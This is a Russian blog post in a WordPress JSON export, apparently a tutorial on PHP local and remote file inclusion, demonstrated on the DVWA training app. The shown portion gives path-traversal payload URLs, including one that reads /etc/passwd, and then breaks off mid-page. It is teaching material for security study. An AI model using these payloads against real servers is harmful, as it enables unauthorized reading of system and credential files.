{"id":1359,"date":"2016-08-26T05:28:02","date_gmt":"2016-08-26T02:28:02","guid":{"rendered":"https:\/\/hackware.ru\/?p=1359"},"modified":"2016-12-17T10:45:07","modified_gmt":"2016-12-17T07:45:07","slug":"%d0%bb%d0%be%d0%ba%d0%b0%d0%bb%d1%8c%d0%bd%d0%be%d0%b5-%d0%b8-%d1%83%d0%b4%d0%b0%d0%bb%d1%91%d0%bd%d0%bd%d0%be%d0%b5-%d0%b2%d0%bd%d0%b5%d0%b4%d1%80%d0%b5%d0%bd%d0%b8%d0%b5-%d1%84%d0%b0%d0%b9%d0%bb","status":"publish","type":"post","link":"https:\/\/hackware.ru\/?p=1359","title":{"rendered":"\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432: \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432"},"content":{"rendered":"<div class=\"576fa40ea81d72e15bb77373cb701737\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-7219829351026140\"\r\n     crossorigin=\"anonymous\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"2558585710\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\n<\/div>\n<p style=\"text-align: justify;\">\n\t\u0418\u043d\u043e\u0433\u0434\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0438\u043d\u043a\u043b\u0443\u0434\u043e\u043c, \u0438\u043d\u043e\u0433\u0434\u0430 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442 \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c PHP \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 (\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043a\u043e\u0434\u0430). \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0432\u0435\u0440\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 (\u0432 PHP) \u0442\u0430\u043a\u0438\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043a\u0430\u043a:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\trequire_once,\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tinclude_once,\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tinclude,\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\trequire,\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\t\u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e&nbsp;\u0438\u0437 \u043d\u0438\u0445 \u0435\u0441\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043d\u044e\u0430\u043d\u0441\u044b, \u043d\u043e \u043e\u0431\u0449\u0435\u0435 \u0443 \u043d\u0438\u0445 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0444\u0430\u0439\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u0435\u0433\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u044d\u0442\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0438\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0432\u0432\u043e\u0434, \u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0435\u0433\u043e \u043e\u0442\u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041a\u0441\u0442\u0430\u0442\u0438, \u0434\u0430, \u044d\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u041d\u0435\u043e\u0431\u0437\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a:\n<\/p>\n<pre class=\"brush:php;\">\r\nrequire(&#39;somefile.php&#39;);<\/pre>\n<p style=\"text-align: justify;\">\n\t\u0411\u043e\u043b\u0435\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442:\n<\/p>\n<pre class=\"brush:php;\">\r\nrequire &#39;somefile.php&#39;;<\/pre>\n<p style=\"text-align: justify;\">\n\t\u041d\u043e \u044d\u0442\u043e \u043e\u0442\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0415\u0441\u043b\u0438 \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 require_once, include_once, include, require, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e \u0436\u0435 \u0432\u0440\u0435\u043c\u044f \u0438\u043c\u0435\u0435\u0442 \u043c\u0435\u0441\u0442\u043e \u0438 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043a\u043e\u0434\u0430.&nbsp;\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u0435\u0437 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u0435\u0431-\u0441\u0430\u0439\u0442 \u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0432\u0438\u0434 \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0442\u0435\u043c\u044b. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e HTML \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0444\u0430\u0439\u043b PHP), \u0442\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 PHP.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0444\u0430\u0439\u043b\u0430 \u0434\u043b\u044f \u0438\u043d\u043a\u043b\u0443\u0434\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0438\u043b\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0434\u0435\u043b\u0430\u044e\u0442 \u0434\u0432\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t\u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\t\u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u043a\u043b\u0443\u0434\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041e\u0431\u044b\u0447\u043d\u043e \u044d\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443 \u043d\u0435\u0433\u043e \u043d\u0435\u0442 \u043f\u0440\u0430\u0432 (\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u0438\u043d\u043a\u043b\u0443\u0434\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0433\u043e \u043a\u043e\u0434\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c), \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b \u0441\u043e \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0431\u044b\u043b \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043b\u0438\u0431\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043c\u0435\u0442\u043e\u0434 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432, \u043b\u0438\u0431\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u044b.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u043c, \u0447\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u043b\u044b \u043d\u0430 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0432 <a href=\"https:\/\/kali.tools\/?p=1820\" target=\"_blank\">Damn Vulnerable Web Application (DVWA)<\/a>. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e <a href=\"https:\/\/kali.tools\/?p=1744\" target=\"_blank\">Web Security Dojo<\/a>, \u0433\u0434\u0435 DVWA \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f (<strong>low<\/strong>) \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 <strong>DVWA Security<\/strong>).\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 File Inclusion&nbsp;http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=include.php\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/01-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"01\" class=\"alignnone size-full wp-image-1361\" height=\"434\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/01-2.jpg\" width=\"1150\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/01-2.jpg 1150w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/01-2-300x113.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/01-2-768x290.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/01-2-1024x386.jpg 1024w\" sizes=\"(max-width: 1150px) 100vw, 1150px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0422\u0430\u043c \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u0442\u0440\u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=file1.php\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=file2.php\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=file3.php\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\t\u0415\u0441\u043b\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043f\u043e\u0445\u043e\u0436\u0435\u0435 \u043d\u0430 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 (file1.php, file2.php), \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u043d\u043a\u043b\u0443\u0434. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 <strong>.php<\/strong>, \u0442\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0444\u0430\u0439\u043b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (\u0442.\u0435. \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430), \u0430 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043a\u0430\u0437\u0430.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0412 DVWA \u0435\u0441\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043a\u0430 http:\/\/localhost\/dvwa\/about.php, \u043e\u043d\u0430 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 \u0434\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0432\u0435\u0440\u0445, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0435\u0451 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:&nbsp;http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=..\/..\/about.php\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/02-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"02\" class=\"alignnone size-full wp-image-1362\" height=\"946\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/02-2.jpg\" width=\"1455\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/02-2.jpg 1455w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/02-2-300x195.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/02-2-768x499.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/02-2-1024x666.jpg 1024w\" sizes=\"(max-width: 1455px) 100vw, 1455px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u0430, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u043a\u043b\u0443\u0434 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442. \u041f\u0440\u0438 \u0432\u0432\u043e\u0434\u0435 \u043d\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0432 \u0432\u0435\u0440\u0445\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 (<strong>..\/<\/strong>), \u0441\u043f\u0438\u0441\u043e\u043a \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f \u0438\u043d\u043a\u043b\u0443\u0434\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u0447\u0435\u0440\u043f\u044b\u0432\u0430\u044e\u0449\u0438\u043c (\u0432\u043c\u0435\u0441\u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 file*.php \u043c\u044b \u0432\u044b\u0431\u0440\u0430\u043b\u0438 about.php).\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0418\u043d\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0442\u0430\u043a http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=file1. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0444\u0430\u0439\u043b, \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u0432\u0438\u0434\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\/\u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0427\u0430\u0441\u0442\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u043a\u043b\u0443\u0434\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u044e\u0431\u044f\u0442 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 \u0442\u0430\u043a\u043e\u0433\u043e:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=..\/..\/..\/..\/..\/..\/..\/etc\/passwd\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/04-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"04\" class=\"alignnone size-full wp-image-1364\" height=\"387\" 